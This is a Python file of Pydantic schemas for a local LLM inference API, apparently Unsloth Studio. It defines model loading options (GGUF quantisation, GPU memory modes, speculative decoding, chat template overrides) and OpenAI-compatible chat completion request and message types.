"""Pydantic schemas for the Inference API."""
from __future__ import annotations
import time
import uuid
from typing import Annotated, Any, Dict, Literal, Optional, List, Union
from pydantic import (
BaseModel,
Discriminator,
Field,
Tag,
field_validator,
model_validator,
)
from picker.schemas import MAX_CHAT_TEMPLATE_BYTES
class LoadRequest(BaseModel):
"""Request to load a model for inference"""
model_path: str = Field(..., description = "Model identifier or local path")
native_path_lease: Optional[str] = Field(
None, description = "Frontend-visible signed native path grant"
)
hf_token: Optional[str] = Field(None, description = "HuggingFace token for gated models")
max_seq_length: int = Field(
0,
ge = 0,
le = 1048576,
description = "Maximum sequence length (0 = model default for GGUF)",
)
load_in_4bit: bool = Field(True, description = "Load model in 4-bit quantization")
is_lora: bool = Field(False, description = "Whether this is a LoRA adapter")
gguf_variant: Optional[str] = Field(
None, description = "GGUF quantization variant (e.g. 'Q4_K_M')"
)
trust_remote_code: bool = Field(
False,
description = "Allow loading models with custom code (e.g. NVIDIA Nemotron). Only enable for repos you trust.",
)
approved_remote_code_fingerprint: Optional[str] = Field(
None,
description = "sha256 fingerprint from the remote-code scan, pinning user approval of this exact custom-code version.",
)
chat_template_override: Optional[str] = Field(
None,
description = "Custom Jinja2 chat template to use instead of the model's default",
)
@field_validator("chat_template_override")
@classmethod
def normalize_blank_chat_template_override(cls, value: Optional[str]) -> Optional[str]:
if value is None:
return None
# Char count is a lower bound on UTF-8 byte length: reject an oversized
# template before spending work encoding it.
if len(value) > MAX_CHAT_TEMPLATE_BYTES:
raise ValueError(f"Chat template exceeds the {MAX_CHAT_TEMPLATE_BYTES}-byte limit.")
if value.strip() == "":
return None
if len(value.encode("utf-8")) > MAX_CHAT_TEMPLATE_BYTES:
raise ValueError(f"Chat template exceeds the {MAX_CHAT_TEMPLATE_BYTES}-byte limit.")
return value
cache_type_kv: Optional[str] = Field(
None,
description = (
"KV cache data type for both K and V "
"(e.g. 'f16', 'bf16', 'q8_0', 'q4_0', 'q4_1', 'q5_0', 'q5_1', 'iq4_nl', 'f32')"
),
)
gpu_ids: Optional[List[int]] = Field(
None,
description = (
"GPU placement pool, for example [0, 1]. Omit or pass [] to use "
"automatic selection. CUDA/ROCm and Intel XPU values are physical "
"GPU indices; Vulkan values are ggml device ordinals. Explicit "
"physical IDs are unsupported when the parent visibility mask uses "
"non-numeric or subdevice entries, including CUDA_VISIBLE_DEVICES "
"with UUID/MIG entries and ZE_AFFINITY_MASK with subdevice tokens "
"(for example '0.0,0.1') or FLAT-hierarchy tile handles. For GGUF "
"models the fitter may pin the smallest subset of this pool that fits."
),
)
speculative_type: Optional[str] = Field(
None,
description = (
"Speculative decoding mode for GGUF models. Canonical values: "
"'auto' (platform-aware: MTP on MTP GGUFs, ngram-mod fallback "
"for sub-3B), 'mtp' (force draft-mtp only on both GPU and CPU), "
"'ngram' (force ngram-mod only), 'mtp+ngram' (force "
"ngram-mod+draft-mtp chain on both platforms), 'off' (disabled). "
"Legacy values 'default' (-> auto), 'draft-mtp' (-> mtp), "
"'ngram-mod' (-> ngram), and 'ngram-simple' (kept as-is) are "
"still accepted. Ignored for non-GGUF models."
),
)
spec_draft_n_max: Optional[int] = Field(
None,
ge = 1,
le = 16,
description = (
"Max draft tokens per step for MTP speculative decoding "
"(--spec-draft-n-max). Defaults to 2 on GPU and 3 on CPU/Mac "
"when unset (upstream-bench sweet spot for dense Qwen3.6 MTP "
"quants). Only applied when speculative_type resolves to "
"'mtp' or 'mtp+ngram'."
),
)
tensor_parallel: bool = Field(
False,
description = (
"Split the model across GPUs by tensor (--split-mode tensor) "
"instead of by layer for GGUF models. Only affects multi-GPU "
"setups, where it can make generation significantly faster. "
"No effect on a single GPU. Ignored for non-GGUF models."
),
)
gpu_memory_mode: Literal["auto", "manual"] = Field(
"auto",
description = (
"GPU memory strategy for GGUF models. 'auto' (default): Unsloth "
"selects GPUs and caps context to fit VRAM. 'manual': you own the "
"offload. Leave gpu_layers at -1 (Auto) to hand memory management to "
"llama.cpp's --fit (no device masking, no context auto-reduce, no "
"gpu-layer/tensor-split planning); set gpu_layers >= 0 to pin layers "
"and n_cpu_moe yourself (--fit off), with tensor_parallel still "
"applying (split by free VRAM unless tensor_split is set, no planner). "
"Ignored for non-GGUF."
),
)
gpu_layers: int = Field(
-1,
ge = -1,
description = (
"Manual mode only: number of layers to offload to the GPU "
"(--gpu-layers, with --fit off). A value >= the model's layer count "
"offloads all of them. -1 = Auto: hand layer + context sizing to "
"llama.cpp's --fit. Ignored unless gpu_memory_mode is 'manual'."
),
)
n_cpu_moe: int = Field(
0,
ge = 0,
description = (
"Manual mode only: keep the first N MoE expert layers on the CPU "
"(--n-cpu-moe) to save VRAM on MoE models. 0 = none, N = number of "
"MoE layers offloaded (the backend offsets past any leading dense "
"layers). Ignored unless gpu_memory_mode is 'manual' with gpu_layers >= 0."
),
)
tensor_split: Optional[List[float]] = Field(
None,
description = (
"Manual mode only: relative share of the model per GPU (--tensor-split), "
"in the order of the GPUs in use, e.g. [2, 1] for 2:1. Omit it to let "
"llama.cpp use its default, which splits by free VRAM. Any list given is "
"passed through as-is, so send [1, 1] to force an even split. Ignored "
"unless gpu_memory_mode is 'manual' with gpu_layers >= 0."
),
)
@field_validator("tensor_split")
@classmethod
def _reject_degenerate_tensor_split(cls, value: Optional[List[float]]) -> Optional[List[float]]:
# A negative / non-finite / all-zero split is silently dropped at launch
# (stored as None) yet still compared raw in the reload dedupe, so an
# identical Apply reloads forever. Reject it up front; [] = no split.
if not value:
return value
import math
if any((not math.isfinite(v)) or v < 0 for v in value):
raise ValueError("tensor_split entries must be finite and non-negative")
if sum(value) <= 0:
raise ValueError("tensor_split must have a positive total")
return value
llama_extra_args: Optional[List[str]] = Field(
None,
description = (
"Extra arguments forwarded verbatim to llama-server for GGUF models. "
"One token per list entry, e.g. ['--top-k', '20', '--seed', '42']. "
"Unsloth-managed flags (model identity, port, context length, GPU placement, "
"auth, UI/server mode) are rejected. Ignored for non-GGUF models."
),
)
class UnloadRequest(BaseModel):
"""Request to unload a model"""
model_path: str = Field(..., description = "Model identifier to unload")
class TranscribeRequest(BaseModel):
"""Speech-to-text request for the dictation STT sidecar."""
audio: str = Field(..., description = "Base64-encoded audio (any common format)")
model: Optional[str] = Field(None, description = "STT model id; defaults server-side")
language: Optional[str] = Field(None, description = "BCP-47 language, or 'auto'/None to detect")
fast: bool = Field(
False,
description = "Use low-latency single-candidate decoding for dictation",
)
engine: Optional[str] = Field(
None,
description = "STT engine: 'transformers' (default) or 'gguf' (whisper.cpp)",
)
class SttLoadRequest(BaseModel):
"""Warm the STT sidecar with a model without transcribing."""
model: Optional[str] = Field(None, description = "STT model id; defaults server-side")
engine: Optional[str] = Field(
None,
description = "STT engine: 'transformers' (default) or 'gguf' (whisper.cpp)",
)
class ValidateModelRequest(BaseModel):
"""Check whether an identifier resolves to a ModelConfig; does NOT load weights."""
model_path: str = Field(..., description = "Model identifier or local path")
native_path_lease: Optional[str] = Field(
None, description = "Frontend-visible signed native path grant"
)
hf_token: Optional[str] = Field(None, description = "HuggingFace token for gated models")
gguf_variant: Optional[str] = Field(
None, description = "GGUF quantization variant (e.g. 'Q4_K_M')"
)
# Intended load settings so validate's coexistence check matches the follow-up
# /load; defaults preserve old behavior for callers that omit them.
max_seq_length: int = Field(0, ge = 0, le = 1048576)
load_in_4bit: bool = Field(True)
gpu_ids: Optional[List[int]] = Field(None)
gpu_memory_mode: Literal["auto", "manual"] = Field(
"auto",
description = (
"GGUF GPU-memory strategy intended for the follow-up load. Manual "
"placement bypasses the training coexistence estimate: Auto layers "
"delegate fitting to llama.cpp, while explicit layers are user-owned."
),
)
include_context_length: bool = Field(
False,
description = "Also read the native context length from the local GGUF header. "
"Opt-in so the normal load preflight doesn't pay for a cache scan it doesn't need.",
)
include_chat_template: bool = Field(
False,
description = "Also read the embedded chat template from the local GGUF header, so a "
"native (picked / drag-drop) file's default template can be shown before it is loaded. "
"Opt-in and, like include_context_length, a metadata-only probe that skips the training "
"guard. Only the leased file's own embedded template is read, never sibling sidecars.",
)
class TransformersUpgradeInfo(BaseModel):
"""A model architecture no installed transformers ships, but a newer release does."""
model_type: str = Field(
..., description = "config.json model_type unknown to every installed transformers"
)
pypi_version: Optional[str] = Field(
None, description = "Latest transformers release on PyPI at check time"
)
supported_in_pypi: bool = Field(
False,
description = "True if the latest PyPI release ships this model_type; Unsloth can "
"install it into a persistent sidecar after user consent.",
)
supported_in_main: bool = Field(
False,
description = "True if transformers GitHub main ships this model_type (dev-only; "
"not installable through Unsloth yet).",
)
class ValidateModelResponse(BaseModel):
"""Result of model validation.
valid == True means from_identifier() succeeded and GGUF/LoRA/vision flags are available.
"""
valid: bool = Field(..., description = "Whether the model identifier looks valid")
message: str = Field(..., description = "Human-readable validation message")
identifier: Optional[str] = Field(None, description = "Resolved model identifier")
display_name: Optional[str] = Field(None, description = "Display name derived from identifier")
is_gguf: bool = Field(False, description = "Whether this is a GGUF model (llama.cpp)")
is_lora: bool = Field(False, description = "Whether this is a LoRA adapter")
is_vision: bool = Field(False, description = "Whether this is a vision-capable model")
requires_trust_remote_code: bool = Field(
False,
description = "Whether the model defaults require trust_remote_code to be enabled for loading.",
)
requires_security_review: bool = Field(
False,
description = "Whether Hugging Face's security scan flagged unsafe files (e.g. a "
"malicious pickle), so the load is hard-blocked pending review.",
)
context_length: Optional[int] = Field(
None,
description = "Native training context length, read from the GGUF header when the file "
"is already downloaded locally; None for non-GGUF, gated, or not-yet-downloaded models.",
)
layer_count: Optional[int] = Field(
None,
description = "Total layer count (GGUF block_count), the manual gpu-layers ceiling, read "
"from the header alongside context_length; None when not read.",
)
moe_layer_count: Optional[int] = Field(
None,
description = "MoE expert-layer count (the manual --n-cpu-moe ceiling), read from the GGUF "
"header alongside context_length; 0 for dense models, None when not read.",
)
chat_template: Optional[str] = Field(
None,
description = "Embedded GGUF chat template, read from the header when include_chat_template "
"is set (native lease-backed picks); None for non-GGUF, over-cap, or not-read templates.",
)
# Additive fields; the consuming consent dialog ships in a follow-up frontend PR.
requires_transformers_upgrade: bool = Field(
False,
description = "True when the model's architecture is unknown to every installed "
"transformers but a newer transformers ships it; the UI should offer the "
"install-latest-transformers consent dialog (or the dev-only notice).",
)
transformers_upgrade: Optional[TransformersUpgradeInfo] = Field(
None,
description = "Details for the transformers-upgrade dialog; set only when "
"requires_transformers_upgrade is true.",
)
class InstallLatestTransformersRequest(BaseModel):
"""Consented request to install the latest transformers release into a sidecar."""
version: str = Field(
...,
min_length = 1,
max_length = 64,
description = "Exact transformers version to install; must match the current "
"latest PyPI release reported by /validate.",
)
class InstallLatestTransformersResponse(BaseModel):
"""Result of the consented latest-transformers sidecar install."""
success: bool = Field(..., description = "Whether the sidecar was provisioned")
version: str = Field(..., description = "The requested transformers version")
message: str = Field(..., description = "Human-readable result")
model_unloaded: bool = Field(
False,
description = "Whether the active chat model was unloaded before the swap "
"(reported even on failure, so the client can restore its state)",
)
latest_version: Optional[str] = Field(
None,
description = "On a version-mismatch failure: the release that superseded "
"the requested one, so the client can retry with it",
)
class GenerateRequest(BaseModel):
"""Request for text generation (legacy /generate/stream endpoint)"""
messages: List[dict] = Field(..., description = "Chat messages in OpenAI format")
system_prompt: str = Field("", description = "System prompt")
temperature: float = Field(0.6, ge = 0.0, le = 2.0, description = "Sampling temperature")
top_p: float = Field(0.95, ge = 0.0, le = 1.0, description = "Top-p sampling")
top_k: int = Field(20, ge = -1, le = 100, description = "Top-k sampling")
min_p: float = Field(0.0, ge = 0.0, le = 1.0, description = "Min-p sampling")
max_new_tokens: int = Field(2048, ge = 1, le = 4096, description = "Maximum tokens to generate")
repetition_penalty: float = Field(1.0, ge = 1.0, le = 2.0, description = "Repetition penalty")
presence_penalty: float = Field(0.0, ge = 0.0, le = 2.0, description = "Presence penalty")
image_base64: Optional[str] = Field(None, description = "Base64 encoded image for vision models")
class LoadResponse(BaseModel):
"""Response after loading a model"""
status: str = Field(..., description = "Load status")
model: str = Field(..., description = "Model identifier")
display_name: str = Field(..., description = "Display name of the model")
is_vision: bool = Field(False, description = "Whether model is a vision model")
is_lora: bool = Field(False, description = "Whether model is a LoRA adapter")
is_gguf: bool = Field(False, description = "Whether model is a GGUF model (llama.cpp)")
is_diffusion: bool = Field(
False, description = "Whether model is a block-diffusion model (DiffusionGemma)"
)
is_audio: bool = Field(False, description = "Whether model is a TTS audio model")
audio_type: Optional[str] = Field(None, description = "Audio codec type: snac, csm, bicodec, dac")
has_audio_input: bool = Field(False, description = "Whether model accepts audio input (ASR)")
inference: dict = Field(
..., description = "Inference parameters (temperature, top_p, top_k, min_p)"
)
requires_trust_remote_code: bool = Field(
False,
description = "Whether the model defaults require trust_remote_code to be enabled for loading.",
)
context_length: Optional[int] = Field(
None, description = "Runtime context length in tokens for the loaded model"
)
max_context_length: Optional[int] = Field(
None, description = "Maximum context length currently available on this hardware"
)
native_context_length: Optional[int] = Field(
None,
description = "Model's native context length from GGUF metadata (not capped by VRAM)",
)
supports_reasoning: bool = Field(
False,
description = "Whether model supports thinking/reasoning mode (enable_thinking or reasoning_effort)",
)
reasoning_style: Literal["enable_thinking", "reasoning_effort", "enable_thinking_effort"] = (
Field(
"enable_thinking",
description = "Reasoning control style: 'enable_thinking' (boolean), 'reasoning_effort' (low|medium|high), or 'enable_thinking_effort' (on/off gate plus an effort level, e.g. GLM-5.2 high|max)",
)
)
reasoning_effort_levels: List[str] = Field(
default_factory = list,
description = "Discrete reasoning_effort levels the template offers when reasoning_style is 'enable_thinking_effort' (e.g. ['high', 'max']); empty otherwise",
)
reasoning_always_on: bool = Field(
False,
description = "Whether reasoning is always on (hardcoded <think> tags, not toggleable)",
)
supports_preserve_thinking: bool = Field(
False,
description = "Whether the template understands the optional preserve_thinking kwarg (Qwen3.6-style)",
)
supports_tools: bool = Field(
False,
description = "Whether model supports tool calling (web search, etc.)",
)
cache_type_kv: Optional[str] = Field(
None,
description = (
"KV cache data type for K and V "
"(e.g. 'f16', 'bf16', 'q8_0', 'q4_0', 'q4_1', 'q5_0', 'q5_1', 'iq4_nl', 'f32')"
),
)
chat_template: Optional[str] = Field(
None,
description = "Jinja2 chat template string (from GGUF metadata or tokenizer)",
)
speculative_type: Optional[str] = Field(
None,
description = (
"Canonical UI-facing requested speculative decoding mode "
"('auto' / 'mtp' / 'ngram' / 'mtp+ngram' / 'off' / "
"'ngram-simple'), round-tripped from the original LoadRequest "
"via _canonicalize_spec_mode. None when no model is loaded."
),
)
spec_draft_n_max: Optional[int] = Field(
None,
description = (
"Active --spec-draft-n-max for MTP speculative decoding, or "
"None when the platform default is in effect."
),
)
tensor_parallel: bool = Field(
False,
description = "Whether tensor-parallel split (--split-mode tensor) is active.",
)
gpu_memory_mode: Literal["auto", "manual"] = Field(
"auto",
description = "Active GPU memory strategy ('auto' or 'manual').",
)
gpu_layers: int = Field(
-1,
description = "Manual mode: requested --gpu-layers value (-1 = Auto/--fit, or when not manual).",
)
n_cpu_moe: int = Field(
0,
description = "Manual mode: MoE expert layers pinned to CPU (--n-cpu-moe); 0 = none.",
)
tensor_split: Optional[List[float]] = Field(
None,
description = "Manual mode: relative model share per GPU (--tensor-split); None = default (split by free VRAM).",
)
n_layers: Optional[int] = Field(
None,
description = "Model's layer count (GGUF block_count), for the manual gpu-layers ceiling.",
)
n_moe_layers: int = Field(
0,
description = "Model's MoE expert-layer count (the n_cpu_moe ceiling); 0 if not an MoE model.",
)
gpu_ids: Optional[List[int]] = Field(
None,
description = "Effective GPU indices the model is using after fit-time narrowing, or None for automatic selection.",
)
requested_gpu_ids: Optional[List[int]] = Field(
None,
description = (
"GPU placement pool requested by the user before fit-time narrowing, "
"or None for automatic selection."
),
)
class UnloadResponse(BaseModel):
"""Response after unloading a model"""
status: str = Field(..., description = "Unload status")
model: str = Field(..., description = "Model identifier that was unloaded")
class LoadProgressResponse(BaseModel):
"""Progress of the active GGUF load, sampled on demand.
Drives a real progress bar during the post-download warmup (mmap + CUDA upload)
instead of a spinner that freezes for minutes on large MoE models.
"""
phase: Optional[str] = Field(
None,
description = (
"Load phase: 'mmap' (weights paging into RAM via mmap), "
"'ready' (llama-server reported healthy), or null when no "
"load is in flight."
),
)
bytes_loaded: int = Field(
0,
description = (
"Bytes of the model already resident in the llama-server process (VmRSS on Linux)."
),
)
bytes_total: int = Field(
0,
description = "Total bytes across all GGUF shards for the active model.",
)
fraction: float = Field(0.0, description = "bytes_loaded / bytes_total, clamped to 0..1.")
class InferenceStatusResponse(BaseModel):
"""Current inference backend status"""
active_model: Optional[str] = Field(
None, description = "Currently active model display identifier"
)
model_identifier: Optional[str] = Field(
None,
description = "Loadable identifier for the active model.",
)
is_vision: bool = Field(False, description = "Whether the active model is a vision model")
is_gguf: bool = Field(False, description = "Whether the active model is a GGUF model (llama.cpp)")
is_diffusion: bool = Field(
False, description = "Whether the active model is a block-diffusion model (DiffusionGemma)"
)
gguf_variant: Optional[str] = Field(None, description = "GGUF quantization variant (e.g. Q4_K_M)")
is_audio: bool = Field(False, description = "Whether the active model is a TTS audio model")
audio_type: Optional[str] = Field(None, description = "Audio codec type: snac, csm, bicodec, dac")
has_audio_input: bool = Field(False, description = "Whether model accepts audio input (ASR)")
loading: List[str] = Field(default_factory = list, description = "Models currently being loaded")
loaded: List[str] = Field(default_factory = list, description = "Models currently loaded")
inference: Optional[Dict[str, Any]] = Field(
None, description = "Recommended inference parameters for the active model"
)
requires_trust_remote_code: bool = Field(
False,
description = "Whether the active model requires trust_remote_code to be enabled for loading.",
)
supports_reasoning: bool = Field(
False, description = "Whether the active model supports reasoning/thinking mode"
)
reasoning_style: Literal["enable_thinking", "reasoning_effort", "enable_thinking_effort"] = (
Field(
"enable_thinking",
description = "Reasoning control style: 'enable_thinking' (boolean), 'reasoning_effort' (low|medium|high), or 'enable_thinking_effort' (on/off gate plus an effort level, e.g. GLM-5.2 high|max)",
)
)
reasoning_effort_levels: List[str] = Field(
default_factory = list,
description = "Discrete reasoning_effort levels the template offers when reasoning_style is 'enable_thinking_effort' (e.g. ['high', 'max']); empty otherwise",
)
reasoning_always_on: bool = Field(
False, description = "Whether reasoning is always on (not toggleable)"
)
supports_preserve_thinking: bool = Field(
False,
description = "Whether the active model's template understands the optional preserve_thinking kwarg",
)
supports_tools: bool = Field(
False, description = "Whether the active model supports tool calling"
)
context_length: Optional[int] = Field(None, description = "Context length of the active model")
max_context_length: Optional[int] = Field(
None,
description = "Maximum context length currently available for the active model",
)
native_context_length: Optional[int] = Field(
None,
description = "Model's native context length from GGUF metadata (not capped by VRAM)",
)
cache_type_kv: Optional[str] = Field(
None,
description = (
"KV cache quantization dtype "
"(e.g. 'f16', 'bf16', 'q8_0', 'q4_0', 'q4_1', 'q5_0', 'q5_1', 'iq4_nl', 'f32'), "
"or None for default"
),
)
chat_template: Optional[str] = Field(
None, description = "Model's default chat template (Jinja2 source), if any"
)
chat_template_override: Optional[str] = Field(
None,
description = "Active chat template override applied at load time, or None if model is using its default",
)
speculative_type: Optional[str] = Field(
None,
description = (
"Canonical UI-facing requested speculative decoding mode "
"('auto' / 'mtp' / 'ngram' / 'mtp+ngram' / 'off' / "
"'ngram-simple'), round-tripped from the original LoadRequest. "
"None when no model is loaded."
),
)
spec_draft_n_max: Optional[int] = Field(
None,
description = (
"Active --spec-draft-n-max for MTP speculative decoding, or "
"None when the platform default is in effect."
),
)
tensor_parallel: bool = Field(
False,
description = "Whether tensor-parallel split (--split-mode tensor) is active.",
)
gpu_memory_mode: Literal["auto", "manual"] = Field(
"auto",
description = "Active GPU memory strategy ('auto' or 'manual').",
)
gpu_layers: int = Field(
-1,
description = "Manual mode: requested --gpu-layers value (-1 = Auto/--fit, or when not manual).",
)
n_cpu_moe: int = Field(
0,
description = "Manual mode: MoE expert layers pinned to CPU (--n-cpu-moe); 0 = none.",
)
tensor_split: Optional[List[float]] = Field(
None,
description = "Manual mode: relative model share per GPU (--tensor-split); None = default (split by free VRAM).",
)
requested_context_length: Optional[int] = Field(
None,
description = (
"The n_ctx the active GGUF load was invoked with (0 = Auto). Lets the "
"UI re-seed a Manual + Auto-layers context pin on hydration, where "
"context_length only exposes the resolved value. None for non-GGUF."
),
)
n_layers: Optional[int] = Field(
None,
description = "Model's layer count (GGUF block_count), for the manual gpu-layers ceiling.",
)
n_moe_layers: int = Field(
0,
description = "Model's MoE expert-layer count (the n_cpu_moe ceiling); 0 if not an MoE model.",
)
gpu_ids: Optional[List[int]] = Field(
None,
description = "Effective GPU indices the model is using after fit-time narrowing, or None for automatic selection.",
)
requested_gpu_ids: Optional[List[int]] = Field(
None,
description = (
"GPU placement pool requested by the user before fit-time narrowing, "
"or None for automatic selection."
),
)
llama_cpp_supports_mtp: bool = Field(
True,
description = (
"Whether llama.cpp supports MTP (--spec-type mtp/draft-mtp). "
"False -> recommend `unsloth studio update`."
),
)
spec_fallback_reason: Optional[str] = Field(
None,
description = (
"Why MTP was disabled on the loaded model despite being requested "
"(auto on an MTP model, or forced mtp / mtp+ngram). "
"'binary_no_mtp' / 'binary_outdated' -> a newer prebuilt would "
"re-enable it (show the update affordance); 'runtime_error' -> the "
"current build could not run it; 'drafter_not_found' -> the model's "
"separate MTP drafter could not be resolved; 'mla_mtp_disabled' -> "
"an Auto-mode policy downgrade: the model is MLA (GLM-5.2 et al.) "
"whose llama.cpp MTP path runs slower than no speculation, so Auto "
"used ngram-mod or spec-off instead -- updating won't help; choose "
"MTP in Settings (or set UNSLOTH_MLA_MTP_ENABLED=1) to force it. "
"None when MTP engaged or was not requested."
),
)
llama_cpp_prebuilt_stale: bool = Field(
False,
description = (
"Installed llama.cpp prebuilt is >=3 days behind the latest "
"release. True -> show `unsloth studio update` banner."
),
)
llama_cpp_installed_tag: Optional[str] = Field(
None,
description = "Installed llama.cpp tag, or None if unknown.",
)
llama_cpp_latest_tag: Optional[str] = Field(
None,
description = "Latest published llama.cpp tag, or None if GitHub unreachable.",
)
# =====================================================================
# OpenAI-Compatible Chat Completions Models
# =====================================================================
# ── Multimodal content parts (OpenAI vision format) ──────────────
class TextContentPart(BaseModel):
"""Text content part in a multimodal message."""
type: Literal["text"]
text: str
class ImageUrl(BaseModel):
"""Image URL object — supports data URIs and remote URLs."""
url: str = Field(..., description = "data:image/png;base64,... or https://...")
detail: Optional[Literal["auto", "low", "high", "original"]] = "auto"
class ImageContentPart(BaseModel):
"""Image content part in a multimodal message."""
type: Literal["image_url"]
image_url: ImageUrl
class InputDocumentContentPart(BaseModel):
"""Document (PDF / file) content part in a multimodal message.
Unsloth-normalised shape (file_data or file_url, plus optional filename/media_type).
Mapped onto Anthropic ``document`` / OpenAI ``input_file`` for vision providers;
dropped for non-vision providers.
"""
type: Literal["input_document"]
file_data: Optional[str] = Field(
None,
description = "data:<media_type>;base64,<DATA> URI for inline payloads. Either file_data or file_url must be set; otherwise the part is dropped.",
)
file_url: Optional[str] = Field(
None,
description = "Remote URL pointing to the document (https://...).",
)
filename: Optional[str] = Field(
None,
description = "Display filename, forwarded to providers as `title`/`filename`.",
)
media_type: Optional[str] = Field(
None,
description = 'Override the media type sniffed from the data URI (e.g. "application/pdf").',
)
class OpenAIReasoningContentPart(BaseModel):
"""OpenAI Responses reasoning item paired with a tool output.
Reasoning models may require this replayed before an ``image_generation_call``
id. OpenAI-only; routes strip it for other providers before proxying.
"""
type: Literal["reasoning"]
id: str = Field(..., description = "OpenAI reasoning output item id.")
summary: list[dict[str, Any]] = Field(default_factory = list)
status: Optional[Literal["in_progress", "completed", "incomplete"]] = None
class ImageGenerationCallContentPart(BaseModel):
"""OpenAI Responses image_generation call reference.
Prior ``image_generation_call`` items let follow-up prompts edit a generated
image without resending the payload. The frontend forwards it as a synthetic
assistant part; ``external_provider`` maps it back to a top-level input item.
"""
type: Literal["image_generation_call"]
id: str = Field(..., description = "OpenAI image_generation_call output item id.")
response_id: Optional[str] = Field(
None,
description = "OpenAI Responses response id to use as previous_response_id for follow-up edits.",
)
class CompactionContentPart(BaseModel):
"""Anthropic server-side compaction state, round-tripped on the next turn.
Anthropic returns a ``compaction`` block on the assistant message; the next
request must forward it back so Anthropic reuses the compaction state instead
of re-summarising. See ``external_provider._stream_anthropic`` and
https://platform.claude.com/docs/en/build-with-claude/compaction
"""
type: Literal["compaction"]
content: str = Field(
...,
description = "Anthropic-produced summary of the compacted-away conversation prefix.",
)
def _content_part_discriminator(v):
if isinstance(v, dict):
return v.get("type")
return getattr(v, "type", None)
ContentPart = Annotated[
Union[
Annotated[TextContentPart, Tag("text")],
Annotated[ImageContentPart, Tag("image_url")],
Annotated[InputDocumentContentPart, Tag("input_document")],
Annotated[OpenAIReasoningContentPart, Tag("reasoning")],
Annotated[ImageGenerationCallContentPart, Tag("image_generation_call")],
Annotated[CompactionContentPart, Tag("compaction")],
],
Discriminator(_content_part_discriminator),
]
"""Union type for multimodal content parts, discriminated by the 'type' field."""
# ── Messages ─────────────────────────────────────────────────────
class ChatMessage(BaseModel):
"""Single message in a chat conversation.
``content`` is a string or list of multimodal parts. Assistant messages with
only ``tool_calls`` may set ``content=None``. Missing ``tool_call_id`` on
``role="tool"`` is resolved at the ``ChatCompletionRequest`` layer.
"""
role: Literal["system", "user", "assistant", "tool", "developer"] = Field(
..., description = "Message role"
)
content: Optional[Union[str, list[ContentPart]]] = Field(
None, description = "Message content (string or multimodal parts)"
)
tool_call_id: Optional[str] = Field(
None,
description = "OpenAI tool-result messages: id of the tool call this result belongs to.",
)
tool_calls: Optional[list[dict]] = Field(
None,
description = "OpenAI assistant messages: structured tool calls the model decided to make.",
)
name: Optional[str] = Field(
None,
description = "OpenAI tool-result messages: name of the tool whose result this is.",
)
extra_content: Optional[dict] = Field(
None,
description = (
"Provider-specific extra fields the translator may read. "
"Gemini reads `extra_content.google.thought_signature` "
"from assistant messages to replay text-part signatures."
),
)
@model_validator(mode = "after")
def _validate_role_shape(self) -> "ChatMessage":
if self.tool_calls is not None and self.role != "assistant":
raise ValueError('"tool_calls" is only valid on role="assistant" messages.')
if self.tool_call_id is not None and self.role != "tool":
raise ValueError('"tool_call_id" is only valid on role="tool" messages.')
if self.name is not None and self.role != "tool":
raise ValueError('"name" is only valid on role="tool" messages.')
if self.role == "tool":
# tool_call_id resolution happens at ChatCompletionRequest scope.
# OpenAI accepts empty tool results (commands with no output);
# normalize to "" instead of a 400 agentic clients treat as fatal.
if self.content is None or self.content == []:
self.content = ""
elif self.role == "assistant":
# Post-Stop sentinel: collapse content="" / [] to None.
if (self.content == "" or self.content == []) and not self.tool_calls:
self.content = None
else: # "user" | "system"
if self.content is None or self.content == []:
raise ValueError(f'role="{self.role}" messages require "content".')
return self
class ThinkingConfig(BaseModel):
"""Anthropic-compatible thinking/reasoning configuration.
Use type='disabled' to turn off thinking, or type='enabled' to turn it on.
Only type is read; extra fields (e.g. budget_tokens) are ignored, since
Unsloth sets provider thinking budgets itself.
"""
type: Literal["disabled", "enabled"] = "disabled"
# Recognized permission_mode values. The field accepts a plain string rather than
# a Literal so an unrecognized value from a newer UI/client degrades to the safest
# gate ("ask") instead of a 422. None stays unset at the request boundary: the tool
# loops normalize it to the product default "auto", while the route's confirm-gate
# derivation keeps an unset mode lenient (a non-streaming request cannot prompt, so
# it runs) to keep non-streaming clients and health checks working.
_KNOWN_PERMISSION_MODES = ("ask", "auto", "off", "full")
def _normalize_permission_mode(value: Any) -> Any:
if value is None:
return None
if value not in _KNOWN_PERMISSION_MODES:
return "ask"
return value
class ChatCompletionRequest(BaseModel):
"""OpenAI-compatible chat completion request.
Non-OpenAI extension fields are marked with 'x-unsloth'.
"""
# Accept unknown fields so future OpenAI fields aren't dropped before route
# code runs. Mirrors AnthropicMessagesRequest and ResponsesRequest.
model_config = {"extra": "allow"}
model: str = Field(
"default",
description = "Model identifier (informational; the active model is used)",
)
messages: list[ChatMessage] = Field(..., description = "Conversation messages")
stream: bool = Field(
False,
description = (
"Whether to stream the response via SSE. Default matches OpenAI's "
"spec (`false`); opt into streaming by sending `stream: true`."
),
)
temperature: float = Field(0.6, ge = 0.0, le = 2.0)
top_p: float = Field(0.95, ge = 0.0, le = 1.0)
max_tokens: Optional[int] = Field(
None, ge = 1, description = "Maximum tokens to generate (None = until EOS)"
)
presence_penalty: float = Field(0.0, ge = 0.0, le = 2.0, description = "Presence penalty")
stop: Optional[Union[str, list[str]]] = Field(
None,
description = "OpenAI stop sequences: a single string or list of strings at which generation halts.",
)
tools: Optional[list[dict]] = Field(
None,
description = (
"OpenAI function-tool definitions. When provided without `enable_tools=true`, "
"Unsloth forwards the tools to the backend so the model returns structured "
"tool_calls for the client to execute (standard OpenAI function calling)."
),
)
tool_choice: Optional[Union[str, dict]] = Field(
None,
description = (
"OpenAI tool choice: 'auto' | 'required' | 'none' | "
"{'type': 'function', 'function': {'name': ...}}"
),
)
max_completion_tokens: Optional[int] = Field(
None,
ge = 1,
description = "OpenAI upper bound on generated tokens (supersedes the deprecated max_tokens).",
)
n: Optional[int] = Field(
None,
ge = 1,
le = 128,
description = "Number of chat completion choices to generate.",
)
logprobs: Optional[bool] = Field(
None, description = "Whether to return log probabilities of the output tokens."
)
top_logprobs: Optional[int] = Field(
None,
ge = 0,
le = 20,
description = "Number of most likely tokens (0-20) to return per position; requires logprobs=true.",
)
parallel_tool_calls: Optional[bool] = Field(
None, description = "Whether to enable parallel function calling during tool use."
)
seed: Optional[int] = Field(None, description = "Best-effort deterministic sampling seed.")
stream_options: Optional[dict] = Field(
None,
description = 'Streaming options, e.g. {"include_usage": true} to emit a final usage chunk.',
)
# ── Unsloth extensions (ignored by standard OpenAI clients) ──
top_k: int = Field(20, ge = -1, le = 100, description = "[x-unsloth] Top-k sampling")
